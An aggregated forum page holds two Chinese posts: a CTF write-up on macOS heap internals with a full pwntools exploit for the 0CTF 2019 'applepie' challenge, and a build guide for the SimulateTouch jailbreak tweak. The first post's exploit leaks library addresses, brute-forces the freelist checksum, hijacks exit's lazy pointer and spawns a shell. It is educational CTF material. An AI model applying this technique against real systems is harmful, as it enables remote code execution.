Quantcast
Channel: Essence Sharing | 干货分享 - iOSRE
Viewing all 301 articles
Browse latest View live

MacOS系统上的堆介绍及利用

$
0
0

@xiaoxiao wrote:

分享一下之前总结的一些MacOS系统的堆介绍及利用思路。

0CTF / TCTF2019比赛时出了一道MacOS下的堆利用题目,这里以该题为背景介绍MacOS下的堆利用攻击。前面主要详细介绍下MacOS系统的堆,如果想看利用可跳到后面的applepie exp编写介绍章节。

原文链接为: https://gloxec.github.io

MacOS下的堆介绍

MacOS高版本系统使用Magazine Allocator进行堆分配,低版本使用Scalable Allocator,详细结构这里不做介绍,它在分配时按照申请大小将堆分为三类tiny,small,large
其中tiny&small用一个叫做 **Quantum ( Q )**的单位管理

  • tiny (Q = 16) ( tiny < 1009B )
  • small (Q = 512) ( 1008B < small < 127KB )
  • large ( 127KB < large )

每个magazine有个cache区域可以用来快速分配释放堆

堆的元数据(metadata)

MacOS的堆分配方式和其他系统不同,没有采用Linked List方式的分配,堆的前后并没有带堆的元数据,而是将元数据存放在了其他地方,并且做了一系列措施方式防止堆溢出修改元数据。
每个进程包含3个区域,分别为tiny rack, small rack, large allocations

tiny rack small rack large allocations
magazine magazine
magazine magazine
magazine magazine
magazine magazine

每个区域包含了多个活动可变的magazine区域
magazine中有n多个"Region"
这个叫"Region"的区域大小在tiny rack和small rack中是不同的,
“Region” in Tiny rack = 1MB
“Region” in Small rack = 8MB

tiny rack{
    magazine 1 {
        Region 1 {}
        Region 2 {}
        ...
        Region n {}
    }
    magazine 2 {}
    ...
    magazine 3 {}
}

small rack{
    ...
    magazine n {}
    ...
}

"Region"中包含三样东西,一个是以Q为单位的内存block, 还有个是负责将各个"Region"关联起来的trailer另外一个就是记录chunk信息的metadata

tiny Region {
    Q(1Q = 16) * 64520个
    region_trailer_t trailer
    metadata[64520/sizeof(uint32_t)] {
        bitmaps[0]: uint32_t header = 描述哪个block是起始chunk
        bitmaps[1]: uint32_t inuse = 描述chunk状态(busy/free)
    }   
}

Small Region {
    Q(1Q = 512) * 16320个
    region_trailer_t trailer
    metadata[16320] {
        bitmaps[0]: uint16_t msize = 最高一位描述chunk状态(busy/free), 其余位描述chunk的Q值(Q值代表与下一个chunk相差多少个Q)
    }
}

large allocations保存在cache中,直接记录地址和大小,除非是分割严重,否则一般不会被unmmap

large {
    address
    size
    did_madvise_reusable
}

堆的释放 - chunk本身的变化

tiny堆

tiny堆在释放时,将该chunk挂在freelist上,这里和Linux类似

比较有意思的一点是,tiny堆在释放时,会在chunk上写入元数据,我们值得关心的就是这一点

    # -----------------------------------------------
    # AAAAA....
    #           
    #                   ...AAA...  
    #                                       .....AAAA
    # -----------------------------------------------
    #                       |
    #                       | after free
    #                       |
    #                       ↓
    # -----------------------------------------------
    # checksum(prev_pointer) | checksum(next_pointer)
    #           size         | ...
    #                       ...
    #                        | size
    # -----------------------------------------------

这里有两个pointer和Linux上chunk的头极其相似,同样的,它们的作用也一样,在freelist上获取chunk时将会用这个pointer来进行链表的操作,还有chunk在free时,会进行合并检查,然后用这两个pointer进行unlink操作。
***但是***这里如果按照Linux的方式去攻击堆时,就会发现这里的checksum会阻止堆的元数据被溢出修改。后面会大致介绍这里的checksum

关于tiny堆释放时的需要注意的另外一个点:

a1 = malloc(496)
a2 = malloc(496)
a3 = malloc(496)
free(a1)
free(a3)
#这里会发现a1, a3会的prev_pointer & next_pointer会正确的关联起来
free(a2)
#当a2也free之后,会发现a2, a3的头部被清空,a1头部的size却是三者之和,并且移动到small堆中

small堆

small堆与tiny堆不同,释放后会先移动到cache中,等到下一个small堆被free时,当前的才会被移动到freelist中

堆的释放 - chunk元数据(metadata)的变化

mag_free_list

这里便是要讲上文提到的freelist,mag_free_list是个负责存放地址的列表,一共包含32个元素,各个元素处储存着已经free的对应Q值的chunk地址,前31个分别是从1Q~31Q的chunk freelist,第32个存放比31Q还要大的chunk freelist。
当新的chunk被free时,将按照chunk的大小,存放在对应Q值的freelist上,并按照双向链表设置好checksum(prev_pointer), checksum(next_pointer) {参照Linux的freelist}

mag_free_bit_map

这个则如名字所示,按位来标记Q(n)是否具有freelist

堆的释放 - checksum

程序在运行时,都会随机生成一个cookie,这个cookie会pointer进行下面的计算生成一个checksum, 然后将(checksum << 56 ) | (pointer >> 4)运算后将checksum保存在高位上,以便检测堆的元数据是否被溢出破坏

static MALLOC_INLINE uintptr_t
free_list_checksum_ptr(rack_t *rack, void *ptr)
{
	uintptr_t p = (uintptr_t)ptr;
	return (p >> NYBBLE) | ((free_list_gen_checksum(p ^ rack->cookie) & (uintptr_t)0xF) << ANTI_NYBBLE); // compiles to rotate instruction
}

static MALLOC_INLINE void *
free_list_unchecksum_ptr(rack_t *rack, inplace_union *ptr)
{
	inplace_union p;
	uintptr_t t = ptr->u;

	t = (t << NYBBLE) | (t >> ANTI_NYBBLE); // compiles to rotate instruction
	p.u = t & ~(uintptr_t)0xF;

	if ((t ^ free_list_gen_checksum(p.u ^ rack->cookie)) & (uintptr_t)0xF) {
		free_list_checksum_botch(rack, ptr, (void *)ptr->u);
		__builtin_trap();
	}
	return p.p;
}
static MALLOC_INLINE uintptr_t
free_list_gen_checksum(uintptr_t ptr)
{
	uint8_t chk;

	chk = (unsigned char)(ptr >> 0);
	chk += (unsigned char)(ptr >> 8);
	chk += (unsigned char)(ptr >> 16);
	chk += (unsigned char)(ptr >> 24);
#if __LP64__
	chk += (unsigned char)(ptr >> 32);
	chk += (unsigned char)(ptr >> 40);
	chk += (unsigned char)(ptr >> 48);
	chk += (unsigned char)(ptr >> 56);
#endif

	return chk;
}

magazine_t

这个则包含了上述介绍过的各种数据,比如chunk cache, 以及mag_free_bit_map, mag_free_list, 以及最后一个被使用的region, 以及所有region的链表

struct magazine_t {
    ...
    void *mag_last_free;
    unsigned[8] mag_bitmap;
    free_list_t*[256] mag_free_list;
    region_t mag_last_region;
    region_trailer_t *firstNode, *lastNode;
    ...
}

堆的申请

整个申请流程是首先从cache中寻找是否有对应的堆,如果没有接着从freelist中寻找,没找到再从region中去申请

题目攻击思路

首先题目保护全开,具有PIE,再分析程序流程。
程序整个流程就是以下面的结构体进行堆数据操作。

struct mem {
    int StyleTableIndex
    int ShapeTableIndex
    int Time
    int NameSize
    char *NameMem
}
  • 溢出

发现在update()更新mem时,可以随意设定当前mem->nameSize的大小,导致修改name时,可溢出修改name后的下一块mem的数据。
但是修改的size发现做了限制,导致数据溢出最大只能修改到mem结构的前三项
mem->StyleTableIndex
mem->ShapeTableIndex
mem->Time

  • leak

在show()显示时,可以用StyleTable[offset/8]来leak数据

因为有PIE的存在,程序每次运行堆栈地址都会随机,所以整个利用思路就是先leak libsystem_c.dylib的地址,接着利用heap操作产生的漏洞去将包含的execv(’/bin/sh’)代码运行地址写入可以劫持到程序流程的地方。

利用MacOS堆的特性leak libsystem_c.dylib

查看程序运行时的vmmap,可以看到程序下方有个Malloc metadata的region,这里开头存放的就是DefaultZone


我们可以看下libmalloc的源代码
typedef struct _malloc_zone_t {
    /* Only zone implementors should depend on the layout of this structure;
    Regular callers should use the access functions below */
    void	*reserved1;	/* RESERVED FOR CFAllocator DO NOT USE */
    void	*reserved2;	/* RESERVED FOR CFAllocator DO NOT USE */
    size_t 	(* MALLOC_ZONE_FN_PTR(size))(struct _malloc_zone_t *zone, const void *ptr); /* returns the size of a block or 0 if not in this zone; must be fast, especially for negative answers */
    void 	*(* MALLOC_ZONE_FN_PTR(malloc))(struct _malloc_zone_t *zone, size_t size);
    void 	*(* MALLOC_ZONE_FN_PTR(calloc))(struct _malloc_zone_t *zone, size_t num_items, size_t size); /* same as malloc, but block returned is set to zero */
    void 	*(* MALLOC_ZONE_FN_PTR(valloc))(struct _malloc_zone_t *zone, size_t size); /* same as malloc, but block returned is set to zero and is guaranteed to be page aligned */
    void 	(* MALLOC_ZONE_FN_PTR(free))(struct _malloc_zone_t *zone, void *ptr);
    void 	*(* MALLOC_ZONE_FN_PTR(realloc))(struct _malloc_zone_t *zone, void *ptr, size_t size);
    void 	(* MALLOC_ZONE_FN_PTR(destroy))(struct _malloc_zone_t *zone); /* zone is destroyed and all memory reclaimed */
    const char	*zone_name;

    /* Optional batch callbacks; these may be NULL */
    unsigned	(* MALLOC_ZONE_FN_PTR(batch_malloc))(struct _malloc_zone_t *zone, size_t size, void **results, unsigned num_requested); /* given a size, returns pointers capable of holding that size; returns the number of pointers allocated (maybe 0 or less than num_requested) */
    void	(* MALLOC_ZONE_FN_PTR(batch_free))(struct _malloc_zone_t *zone, void **to_be_freed, unsigned num_to_be_freed); /* frees all the pointers in to_be_freed; note that to_be_freed may be overwritten during the process */

    struct malloc_introspection_t	* MALLOC_INTROSPECT_TBL_PTR(introspect);
    unsigned	version;
    	
    /* aligned memory allocation. The callback may be NULL. Present in version >= 5. */
    void *(* MALLOC_ZONE_FN_PTR(memalign))(struct _malloc_zone_t *zone, size_t alignment, size_t size);
    
    /* free a pointer known to be in zone and known to have the given size. The callback may be NULL. Present in version >= 6.*/
    void (* MALLOC_ZONE_FN_PTR(free_definite_size))(struct _malloc_zone_t *zone, void *ptr, size_t size);

    /* Empty out caches in the face of memory pressure. The callback may be NULL. Present in version >= 8. */
    size_t 	(* MALLOC_ZONE_FN_PTR(pressure_relief))(struct _malloc_zone_t *zone, size_t goal);

	/*
	 * Checks whether an address might belong to the zone. May be NULL. Present in version >= 10.
	 * False positives are allowed (e.g. the pointer was freed, or it's in zone space that has
	 * not yet been allocated. False negatives are not allowed.
	 */
    boolean_t (* MALLOC_ZONE_FN_PTR(claimed_address))(struct _malloc_zone_t *zone, void *ptr);
} malloc_zone_t;

值得我们仔细关注的是这里的
struct malloc_introspection_t * MALLOC_INTROSPECT_TBL_PTR(introspect);

继续查看源代码

typedef struct malloc_introspection_t {
	kern_return_t (* MALLOC_INTROSPECT_FN_PTR(enumerator))(task_t task, void *, unsigned type_mask, vm_address_t zone_address, memory_reader_t reader, vm_range_recorder_t recorder); /* enumerates all the malloc pointers in use */
	size_t	(* MALLOC_INTROSPECT_FN_PTR(good_size))(malloc_zone_t *zone, size_t size);
	...
}

用之前介绍过的堆资料,可以知道
所以DefaultZone->introspect->enumerator这里储存了enumerator对应的函数szone_ptr_in_use_enumerator的地址

libsystem_malloc.dylib地址

所以
libsystem_malloc.dylib的地址 = leak出的szone_ptr_in_use_enumerator地址 - sznoe偏移量(0x0000000000013D68)

libsystem_c.dylib地址

这里有个很有趣的现象,就是MacOS的PIE会保证程序每次运行时都会随机堆栈以及加载地址,但是引入的动态库地址不会产生变化,似乎只会在开机时变化。
所以可以看下vmmap,确定下libsystem_c.dylib与libsystem_malloc.dylib加载地址,得到偏移量。
libsystem_c.dylib = libsystem_malloc.dylib - 偏移量(0x161000)

OneGadget RCE

分析了libsystem_c.dylib,发现了与Linux libc中同样的execv(’/bin/sh’)代码片段
onegadget rce = libsystem_c.dylib + 0x0000000000025D94

劫持程序流 - 前置

这里利用MachO的Lazy Bind机制,复写libsystem_c.dylib的la_symbol_ptr表中的函数存放地址(不写原程序的原因是无法leak原程序加载地址)
查看一周发现最优的选择为exit_la_symbol_ptr
我们可以在add()函数阶段输入不被认可的Size,可让程序执行exit()进而执行我们写入的地址。

这里发现libsystem_c.dylib的TEXT和DATA region地址相差较大,不像原程序紧挨在一起,所以这里还需要再leak一次libsystem_c.dylibd的DATA region地址。

libsystem_c.dylib DATA

分析原程序时发现在.got内有个FILE **__stdinp_ptr
可以看到开头的_p指向了某块内存的地址,这样就可以利用这个来完成leak DATA地址,这里buffer与DATA起始地址的偏移量分析下就可以得到

libsystem_c_DATA = libsystem_c_stdinptr - 0x4110

typedef	struct __sFILE {
	unsigned char *_p;	/* current position in (some) buffer */
	int	_r;		/* read space left for getc() */
	int	_w;		/* write space left for putc() */
	short	_flags;		/* flags, below; this FILE is free if 0 */
	short	_file;		/* fileno, if Unix descriptor, else -1 */
	struct	__sbuf _bf;	/* the buffer (at least 1 byte, if !NULL) */
	int	_lbfsize;	/* 0 or -_bf._size, for inline putc */

	/* operations */
	void	*_cookie;	/* cookie passed to io functions */
	int	(*_close)(void *);
	int	(*_read) (void *, char *, int);
	fpos_t	(*_seek) (void *, fpos_t, int);
	int	(*_write)(void *, const char *, int);

	/* separate buffer for long sequences of ungetc() */
	struct	__sbuf _ub;	/* ungetc buffer */
	struct __sFILEX *_extra; /* additions to FILE to not break ABI */
	int	_ur;		/* saved _r when _r is counting ungetc data */

	/* tricks to meet minimum requirements even when malloc() fails */
	unsigned char _ubuf[3];	/* guarantee an ungetc() buffer */
	unsigned char _nbuf[1];	/* guarantee a getc() buffer */

	/* separate buffer for fgetln() when line crosses buffer boundary */
	struct	__sbuf _lb;	/* buffer for fgetln() */

	/* Unix stdio files get aligned to block boundaries on fseek() */
	int	_blksize;	/* stat.st_blksize (may be != _bf._size) */
	fpos_t	_offset;	/* current lseek offset (see WARNING) */
} FILE;

劫持程序流 - 核心

根据前面堆的申请介绍,我们可以构造一些tiny堆,让再次申请堆时保证从freelist上获取,然后完成tiny_malloc_from_free_list(),使内部的unlink操作完成next->previous = ptr->previous任意数据写任意地址的操作

但是这里有个问题,就是在unlink前,会有个unchecksum的检查,因为程序每次运行时,都会对当前的zone生成随机的cookie,导致这里无法绕过去

next = free_list_unchecksum_ptr(rack, &ptr->next);
free_list_gen_checksum(uintptr_t ptr)
{
	uint8_t chk;
	chk = (unsigned char)(ptr >> 0);
	chk += (unsigned char)(ptr >> 8);
	chk += (unsigned char)(ptr >> 16);
	chk += (unsigned char)(ptr >> 24);
#if __LP64__
	chk += (unsigned char)(ptr >> 32);
	chk += (unsigned char)(ptr >> 40);
	chk += (unsigned char)(ptr >> 48);
	chk += (unsigned char)(ptr >> 56);
#endif
	return chk;
}

static MALLOC_INLINE uintptr_t  free_list_checksum_ptr(rack_t *rack, void *ptr)
{
	uintptr_t p = (uintptr_t)ptr;
	return (p >> NYBBLE) | ((free_list_gen_checksum(p ^ rack->cookie) & (uintptr_t)0xF) << ANTI_NYBBLE); // compiles to rotate instruction
}

但万幸的是MacOS在对生成的cookie和pointer进行checksum后,只使用了4个有效位来保存checksum值,所以可以设定个checksum进行爆破,让程序生成的cookie在与我们的pointer在checksum后恰好等于我们自己设定的值。

value = p64(((libsystem_c_exit_la_symbol_ptr >> 4) | int(checksum, 16)))

getshell

下面是完整的exp

#!/usr/bin/python2.7
# -*- coding: utf-8 -*-


from pwn import *
#import monkeyhex
from binascii import *
import socket
import sys


def main(checksum, localFlag):
    if localFlag == 1:
        p = process('./applepie')
    elif localFlag == 2:
        p = remote('127.0.0.1', 10007)
    elif localFlag == 3:
        p = remote('111.186.63.147', 6666)
    # context.log_level = 'debug'
    context.terminal = ['tmux', 'split', '-h']

    def add(style,shape,size,name):
        p.recvuntil('Choice: ')
        p.sendline('1')
        p.recvuntil(':')
        p.sendline(str(style))
        p.recvuntil(':')
        p.sendline(str(shape))
        p.recvuntil(':')
        p.sendline(str(size))
        p.recvuntil(':')
        p.sendline(name)

    def show(id):
        p.recvuntil('Choice:' )
        p.sendline('2')
        p.recvuntil(':')
        p.sendline(str(id))

    def update(id,style,shape,size,name):
        p.recvuntil('Choice: ')
        p.sendline('3')
        p.recvuntil(':')
        p.sendline(str(id))
        p.recvuntil(':')
        p.sendline(str(style))
        p.recvuntil(':')
        p.sendline(str(shape))
        p.recvuntil('Size: ')
        p.sendline(str(size))
        p.recvuntil(':')
        p.sendline(name)

    def free(id):
        p.recvuntil('Choice:')
        p.sendline('4')
        p.recvuntil(':')
        p.sendline(str(id))

    id0 = add(1, 1, 0x40, 'aaa')
    id1 = add(1, 1, 0x40, 'aaa')

    # 溢出修改styleTable数组的index,完成leak Default Zone struct的introspect保存的enumerator,可以用来leak libsystem_malloc.dylib
    # libsystem_malloc.dylib`szone_ptr_in_use_enumerator:
    #     0x7fff68161d68 <+0>:  push   rbp
    #     0x7fff68161d69 <+1>:  mov    rbp, rsp
    update(0, 1, 1, 0x50, 'a'*0x40 + p64(0x3fc0/8))
    show(1)
    p.recvuntil('Style: ')
    szone_ptr_in_use_enumerator = u64(p.recvuntil('\n')[:-1].ljust(8, '\x00'))
    log.info_once('szone_ptr_in_use_enumerator = ' + hex(szone_ptr_in_use_enumerator))

    # szone_ptr_in_use_enumerator函数在libsystem_malloc.dylib中的地址0x0000000000013D68 
    libsystem_malloc_baseImage = szone_ptr_in_use_enumerator - 0x0000000000013D68
    # Mac PIE的特殊性,程序本身每次运行全随机化,但动态库只有在开机时才会随机一次,此后位置都为固定
    libsystem_c_baseImage = libsystem_malloc_baseImage - 0x161000
    onegadget_rce = libsystem_c_baseImage + 0x0000000000025D94
#    libsystem_c_exit_la_symbol_ptr = libsystem_c_baseImage + 0x8a0b0
    log.info_once('libsystem_malloc.dylib = ' + hex(libsystem_malloc_baseImage))
    log.info_once('libsystem_c.dylib = ' + hex(libsystem_c_baseImage))
    log.info_once('libsystem_c.dylib: onegadget rce = ' + hex(onegadget_rce))
#    log.info('libsystem_c.dylib: exit->la_symbol_ptr = ' + hex(libsystem_c_exit_la_symbol_ptr))
#   发现libsyste_c.dylib等动态库DATA与TEXT段分离较远(vmmap),所以先leak libsystem_c.dylib的DATA段


    update(0, 1, 1, 0x50, 'a'*0x40 + p64(0xffffffffffffff78/8))
    show(1)
    p.recvuntil('Style: ')
    libsystem_c_stdinptr = u64(p.recvuntil('\n')[:-1].ljust(8, '\x00'))
    log.info_once('FILE *stdinp->p: ' + hex(libsystem_c_stdinptr))
    libsystem_c_DATA = libsystem_c_stdinptr - 0x4110
    log.info_once('libsystem_c.dylib: DATA seg = ' + hex(libsystem_c_DATA))
    libsystem_c_exit_la_symbol_ptr = libsystem_c_DATA + 0xb0
    log.info_once('libsystem_c.dylib: exit->la_symbol_ptr = ' + hex(libsystem_c_exit_la_symbol_ptr))


    # 接着步骤为
    id2 = add(1, 1, 0x40, 'aaa')
    id3 = add(1, 1, 0x40, 'aaa') # free
    id4 = add(1, 1, 0x40, 'aaa') # -----> 更改这个堆,溢出修改到下一个free块id5
    id5 = add(1, 1, 0x40, 'aaa') # free
    id6 = add(1, 1, 0x40, 'aaa')
    id7 = add(1, 1, 0x40, 'aaa') # free
    id8 = add(1, 1, 0x40, 'aaa')

    # 释放id3,将其挂在freelist上
    free(3)
    free(5)
    free(7)
    # 更新块id4时,溢出修改前面释放的id5块上的元数据头
    # -----------------------------
    # prev_pointer | next_pointer
    # size         | ...
    # ...
    #              | size
    # -----------------------------
    # 
    # 然后下次malloc时,会从freelist上获取之前free的id7, 再次malloc即可拿到id5

    value = p64(((libsystem_c_exit_la_symbol_ptr >> 4) | int(checksum, 16)))
    log.info_once('after checksum(ptr): ' + hex(u64(value)))
    id7 = add(1, 1, 0x40, 'aaa')
    update(4, 1, 1, 0x50, 'a'*0x40 + p64(onegadget_rce) + value)


    # malloc申请内存,完成unlink操作, 将onegadget_rce写入libsystem_c_exit_la_symbol_ptr
    p.recvuntil('Choice: ')
    p.recvuntil('Choice: ')
    p.sendline('1') # add id 5
    try:
        res = p.recv() # recvice 'Error'
        if res.find('malloc') > 0:
            log.failure('error checksum: ' + res)
            return
        else:
            log.success('!!! currect checksum(' + hex(libsystem_c_exit_la_symbol_ptr) + '): ' + hex(u64(value)))
        p.sendline('1') # Style
        p.recvuntil('Choice: ')
        p.sendline('1') # Shape
        p.recvuntil('Size: ')
        p.sendline('9999') # 输入错误Size让程序去执行exit()流程
        p.recv() # 'Error'
        p.sendline('uname')
        res = p.recvuntil('Darwin')
        log.info(res)
    except:
        return

    p.interactive() # 这里getshell后就可以退出了
    if res.find('Darwin') >= 0:
        sys.exit()


for i in range(0x00, 0x23):
    checksum = '0x'+'{:016x}'.format(0x23<<56)
    main(checksum, 1)

Posts: 2

Participants: 2

Read full topic


手把手教你编译Simulatetouch

$
0
0

@yuzhouheike wrote:

写在前面的话.为什么要编译这个?因为想做个模拟点击,提供给做测试岗位的未来女朋友使用,解放测试小姑娘们的双手,但是自己很菜又搞不懂苹果底层的点击是怎做的.搜索了一下发现韩国人写的这个simulatetouch可以达到要求,但是人家已经不维护了.所以需要修改他的代码.目前只发现了这一个开源代码,可以直接手机上每一个角落,所以需要在这个基础上开发自己的模拟点击,也看到了其他人的模拟点击比如PTFaketouch,ZSFaketouch但是这两个都需要注入别人的App才能点击,考虑到大多数厉害点儿的App都会做防注入,所以放弃,继续研读simulatetouch源码.期望与有共同需求的爱好者一起讨论

开发环境

  1. Xcode9.4.1
  2. iOS8
  3. macOS10.13.6

接下来做好不断失败的准备,因为在论坛搜了一下大多数都是求助无果的帖子

0x1 下载源代码

git clone git@github.com:iolate/SimulateTouch.git

git submodule init

git submodule update

0x02 tree一下

0x03 编译

make

0x04 在电脑找一下这个文件,发现找不到

sudo find / -name IOKit/hid/IOHIDEvent.h

0x05 去github找找

  • 解决方式就是注释代码STLibrary的这些代码
// typedef enum {
//     UIInterfaceOrientationPortrait           = 1,//UIDeviceOrientationPortrait,
//     UIInterfaceOrientationPortraitUpsideDown = 2,//UIDeviceOrientationPortraitUpsideDown,
//     UIInterfaceOrientationLandscapeLeft      = 4,//UIDeviceOrientationLandscapeRight,
//     UIInterfaceOrientationLandscapeRight     = 3,//UIDeviceOrientationLandscapeLeft
// } UIInterfaceOrientation;
//
// @interface UIScreen
// +(id)mainScreen;
// -(CGRect)bounds;
// @end

0x06 去theos的git下载他们的SDK放在/opt/theos/sdk目录下修改Makefile 为9.3的SDK

include ${THEOS}/makefiles/common.mk

export TARGET = iphone:clang:9.3:8.0
# export SDKVERSION=5.1
# export CURRENT_VERSION = 0800
# TARGET = iphone:11.0:8.0
TWEAK_NAME = SimulateTouch
SimulateTouch_FILES = SimulateTouch.mm
SimulateTouch_PRIVATE_FRAMEWORKS = IOKit
SimulateTouch_LDFLAGS = -lsubstrate -lrocketbootstrap

LIBRARY_NAME = libsimulatetouch
libsimulatetouch_FILES = STLibrary.mm
libsimulatetouch_LDFLAGS = -lrocketbootstrap
libsimulatetouch_INSTALL_PATH = /usr/lib/
libsimulatetouch_FRAMEWORKS = UIKit CoreGraphics

TOOL_NAME = stouch
stouch_FILES = main.mm
stouch_FRAMEWORKS = UIKit
stouch_INSTALL_PATH = /usr/bin/
stouch_LDFLAGS = -lsimulatetouch

include $(THEOS_MAKE_PATH)/tweak.mk
include $(THEOS_MAKE_PATH)/library.mk
include $(THEOS_MAKE_PATH)/tool.mk

  • 这里的解决方案是把Makefile文件换成第7步的Makefile文件内容SDK版本用11.2的

0x07 修改下Makefile文件 先编译lib因为编译其他两个要用到它.编译成功后放大到/opt/theos/lib目录下

include ${THEOS}/makefiles/common.mk

export TARGET = iphone:clang:11.2:8.0
# export SDKVERSION=5.1
# export CURRENT_VERSION = 0800
# TARGET = iphone:11.0:8.0
# TWEAK_NAME = SimulateTouch
# SimulateTouch_FILES = SimulateTouch.mm
# SimulateTouch_PRIVATE_FRAMEWORKS = IOKit
# SimulateTouch_LDFLAGS = -lsubstrate -lrocketbootstrap

LIBRARY_NAME = libsimulatetouch
libsimulatetouch_FILES = STLibrary.mm
libsimulatetouch_LDFLAGS = -lrocketbootstrap
libsimulatetouch_INSTALL_PATH = /usr/lib/
libsimulatetouch_FRAMEWORKS = UIKit CoreGraphics

# TOOL_NAME = stouch
# stouch_FILES = main.mm
# stouch_FRAMEWORKS = UIKit
# stouch_INSTALL_PATH = /usr/bin/
# stouch_LDFLAGS = -lsimulatetouch

include $(THEOS_MAKE_PATH)/tweak.mk
include $(THEOS_MAKE_PATH)/library.mk
include $(THEOS_MAKE_PATH)/tool.mk

0x08 这样不就成功了.此刻觉得大佬们不分享可能因为觉得太简单了

0x09 接下来继续编译完整的项目

include ${THEOS}/makefiles/common.mk

export TARGET = iphone:clang:11.2:8.0
# export SDKVERSION=5.1
# export CURRENT_VERSION = 0800
# TARGET = iphone:11.0:8.0
TWEAK_NAME = SimulateTouch
SimulateTouch_FILES = SimulateTouch.mm
SimulateTouch_PRIVATE_FRAMEWORKS = IOKit
SimulateTouch_LDFLAGS = -lsubstrate -lrocketbootstrap

LIBRARY_NAME = libsimulatetouch
libsimulatetouch_FILES = STLibrary.mm
libsimulatetouch_LDFLAGS = -lrocketbootstrap
libsimulatetouch_INSTALL_PATH = /usr/lib/
libsimulatetouch_FRAMEWORKS = UIKit CoreGraphics

TOOL_NAME = stouch
stouch_FILES = main.mm
stouch_FRAMEWORKS = UIKit
stouch_INSTALL_PATH = /usr/bin/
stouch_LDFLAGS = -lsimulatetouch

include $(THEOS_MAKE_PATH)/tweak.mk
include $(THEOS_MAKE_PATH)/library.mk
include $(THEOS_MAKE_PATH)/tool.mk



0x10 重启手机 然后执行stouch 就可以了

由与SDK版本等各种环境问题你可能会遇到以下问题

  • 估计不会遇到问题。但是遇到的话评论区评论就好了

虽然说是手把手,但是好多细节我也忘记了,因为编译这个花费了两三天时间了,如果您在编译的过程中遇到什么其他问题,可以在评论里面问我,




从这里开始讲iOS11遇到问题的解决办法

iOS11的解决办法

0x01 首先解决killed:9问题


yuzhouheike1haoji:~ root# exit
logout
Connection to 192.168.31.149 closed.
 ✘ hacker_hades@HadesdeMacBook-Pro  ~/Desktop/SimulateTouch/SimulateTouch   master ●  cd ~/Desktop
 hacker_hades@HadesdeMacBook-Pro  ~/Desktop  !code
 hacker_hades@HadesdeMacBook-Pro  ~/Desktop  codesign -s "A2F872A1D9483EA7E16E6836CDF73B7917010A20" --entitlements demo.entitlements -f stouch
stouch: replacing existing signature
 hacker_hades@HadesdeMacBook-Pro  ~/Desktop  scp stouch root@192.168.31.149:/var
stouch                                                                                    100%  165KB   4.9MB/s   00:00
 hacker_hades@HadesdeMacBook-Pro  ~/Desktop  !ssh
 hacker_hades@HadesdeMacBook-Pro  ~/Desktop  ssh root@192.168.31.149
Last login: Sat Sep 22 13:32:21 2018 from 192.168.31.217
yuzhouheike1haoji:~ root# mv /var/stouch /usr/bin/
yuzhouheike1haoji:~ root# stouch
dyld: Library not loaded: /usr/lib//libsimulatetouch.dylib
  Referenced from: /usr/bin/stouch
  Reason: no suitable image found.  Did find:
	/usr/lib//libsimulatetouch.dylib: code signing blocked mmap() of '/usr/lib//libsimulatetouch.dylib'
	/usr/lib/libsimulatetouch.dylib: code signing blocked mmap() of '/usr/lib/libsimulatetouch.dylib'
Abort trap: 6
  • 0x02 根据提示这个/usr/lib//libsimulatetouch.dylib动态库没有签名
yuzhouheike1haoji:~ root# exit
logout
Connection to 192.168.31.149 closed.

 hacker_hades@HadesdeMacBook-Pro  ~/Desktop  scp root@192.168.31.149:/usr/bin/stouch ./
stouch                                                                                    100%  130KB   4.7MB/s   00:00
 hacker_hades@HadesdeMacBook-Pro  ~/Desktop  !code
 hacker_hades@HadesdeMacBook-Pro  ~/Desktop  codesign -s "A2F872A1D9483EA7E16E6836CDF73B7917010A20" --entitlements demo.entitlements -f stouch
stouch: replacing existing signature
 hacker_hades@HadesdeMacBook-Pro  ~/Desktop  scp stouch root@192.168.31.149:/var
stouch                                                                                    100%  165KB   4.8MB/s   00:00

0x02 解决libsimulatetouch.dylib签名

 ✘ hacker_hades@HadesdeMacBook-Pro  ~/Desktop  scp root@192.168.31.149:/usr/lib//libsimulatetouch.dylib ./
libsimulatetouch.dylib                                                                    100%  134KB   4.3MB/s   00:00
 hacker_hades@HadesdeMacBook-Pro  ~/Desktop  codesign -s "A2F872A1D9483EA7E16E6836CDF73B7917010A20" --entitlements demo.entitlements -f libsimulatetouch.dylib
libsimulatetouch.dylib: replacing existing signature
 hacker_hades@HadesdeMacBook-Pro  ~/Desktop  scp libsimulatetouch.dylib root@192.168.31.149:/var
libsimulatetouch.dylib                                                                    100%  169KB   4.5MB/s   00:00
 hacker_hades@HadesdeMacBook-Pro  ~/Desktop  !ssh
 hacker_hades@HadesdeMacBook-Pro  ~/Desktop  ssh root@192.168.31.149
Last login: Sat Sep 22 14:22:28 2018 from 192.168.31.217
yuzhouheike1haoji:~ root# mv /var/lib
lib/                    libsimulatetouch.dylib
yuzhouheike1haoji:~ root# mv /var/libsimulatetouch.dylib /usr/lib//
yuzhouheike1haoji:~ root# stouch
dyld: Library not loaded: /usr/lib/librocketbootstrap.dylib
  Referenced from: /usr/lib//libsimulatetouch.dylib
  Reason: no suitable image found.  Did find:
	/usr/lib/librocketbootstrap.dylib: code signing blocked mmap() of '/usr/lib/librocketbootstrap.dylib'
	/usr/lib/librocketbootstrap.dylib: code signing blocked mmap() of '/usr/lib/librocketbootstrap.dylib'
Abort trap: 6

0x03 解决librocketbootstrap.dylib签名


 ✘ hacker_hades@HadesdeMacBook-Pro  ~/Desktop  scp root@192.168.31.149:/usr/lib/librocketbootstrap.dylib ./
librocketbootstrap.dylib                                                                  100%  217KB   6.1MB/s   00:00
 hacker_hades@HadesdeMacBook-Pro  ~/Desktop  codesign -s "A2F872A1D9483EA7E16E6836CDF73B7917010A20" --entitlements demo.entitlements -f librocketbootstrap.dylib
librocketbootstrap.dylib: replacing existing signature
 hacker_hades@HadesdeMacBook-Pro  ~/Desktop  scp librocketbootstrap.dylib root@192.168.31.149:/var
librocketbootstrap.dylib                                                                  100%  284KB   6.5MB/s   00:00
 hacker_hades@HadesdeMacBook-Pro  ~/Desktop  !ssh
 hacker_hades@HadesdeMacBook-Pro  ~/Desktop  ssh root@192.168.31.149
Last login: Sat Sep 22 14:24:01 2018 from 192.168.31.217
yuzhouheike1haoji:~ root# mv /var/librocketbootstrap.dylib /usr/lib/librocketbootstrap.dylib
yuzhouheike1haoji:~ root# stouch
dyld: Library not loaded: /usr/lib/libsubstrate.dylib
  Referenced from: /usr/lib/librocketbootstrap.dylib
  Reason: no suitable image found.  Did find:
	/usr/lib/libsubstrate.dylib: code signing blocked mmap() of '/usr/lib/libsubstrate.dylib'
